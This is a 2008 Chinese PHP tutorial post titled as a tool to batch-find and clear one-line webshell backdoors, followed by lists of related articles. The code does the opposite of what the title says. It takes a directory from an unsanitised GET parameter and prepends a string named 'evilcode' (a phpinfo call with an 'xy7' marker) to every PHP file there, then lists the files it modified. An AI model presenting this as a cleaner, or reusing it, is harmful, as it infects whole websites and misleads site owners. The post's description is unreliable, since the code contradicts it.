用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
PHP令牌 Token改进版
Jul 18 PHP
php cache类代码(php数据缓存类)
Apr 15 PHP
Ajax实时验证用户名/邮箱等是否已经存在的代码打包
Dec 01 PHP
php 多关键字 高亮显示实现代码
Apr 23 PHP
基于php常用正则表达式的整理汇总
Jun 08 PHP
Zend studio文件注释模板设置方法
Sep 29 PHP
配置php.ini实现PHP文件上传功能
Nov 27 PHP
PHP提高编程效率的20个要点
Sep 23 PHP
CI框架扩展系统核心类的方法分析
May 23 PHP
PHP实现通过文本文件统计页面访问量功能示例
Feb 13 PHP
php使用curl伪造浏览器访问操作示例
Sep 30 PHP
PHP预定义接口――Iterator用法示例
Jun 05 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
一个简单计数器的源代码
2006/10/09 PHP
php数组函数序列之array_unshift() 在数组开头插入一个或多个元素
2011/11/07 PHP
浅谈ThinkPHP的URL重写
2014/11/25 PHP
php实现的mongodb操作类
2015/05/28 PHP
Yii框架表单模型和验证用法
2016/05/20 PHP
PHP转换文本框内容为HTML格式的方法
2016/07/20 PHP
php版微信自动获取收货地址api用法示例
2016/09/22 PHP
PHP删除字符串中非字母数字字符方法总结
2019/01/20 PHP
判断用户的在线状态 onbeforeunload事件
2011/03/05 Javascript
js实现图片放大缩小功能后进行复杂排序的方法
2012/11/08 Javascript
JQuery 获取json数据$.getJSON方法的实例代码
2013/08/02 Javascript
浅谈Javascript如何实现匀速运动
2014/12/19 Javascript
JavaScript函数详解
2015/02/27 Javascript
JavaScript实现将数组中所有元素连接成一个字符串的方法
2015/04/06 Javascript
jQuery实现公告新闻自动滚屏效果实例代码
2016/07/14 Javascript
Vue.js如何实现路由懒加载浅析
2017/08/14 Javascript
javascript计算渐变颜色的实例
2017/09/22 Javascript
对layui中表单元素的使用详解
2018/08/15 Javascript
mpvue项目中使用第三方UI组件库的方法
2018/09/30 Javascript
vue图片上传本地预览组件使用详解
2019/02/20 Javascript
Python字符串、元组、列表、字典互相转换的方法
2016/01/23 Python
深入浅析python中的多进程、多线程、协程
2016/06/22 Python
基于python爬虫数据处理(详解)
2017/06/10 Python
Python双精度浮点数运算并分行显示操作示例
2017/07/21 Python
python把1变成01的步骤总结
2019/02/27 Python
关于Python内存分配时的小秘密分享
2019/09/05 Python
HTML5的语法变化介绍
2013/08/13 HTML / CSS
语文教育专业应届生求职信
2013/11/23 职场文书
售前工程师职业生涯规划
2014/03/02 职场文书
离婚协议书该怎么写
2014/10/04 职场文书
2014年数学教师工作总结
2014/12/03 职场文书
生日赠语
2015/06/23 职场文书
装修安全责任协议书
2016/03/22 职场文书
用Python制作灯光秀短视频的思路详解
2021/04/13 Python
Python实现单例模式的5种方法
2021/06/15 Python
Python 游戏大作炫酷机甲闯关游戏爆肝数千行代码实现案例进阶
2021/10/16 Python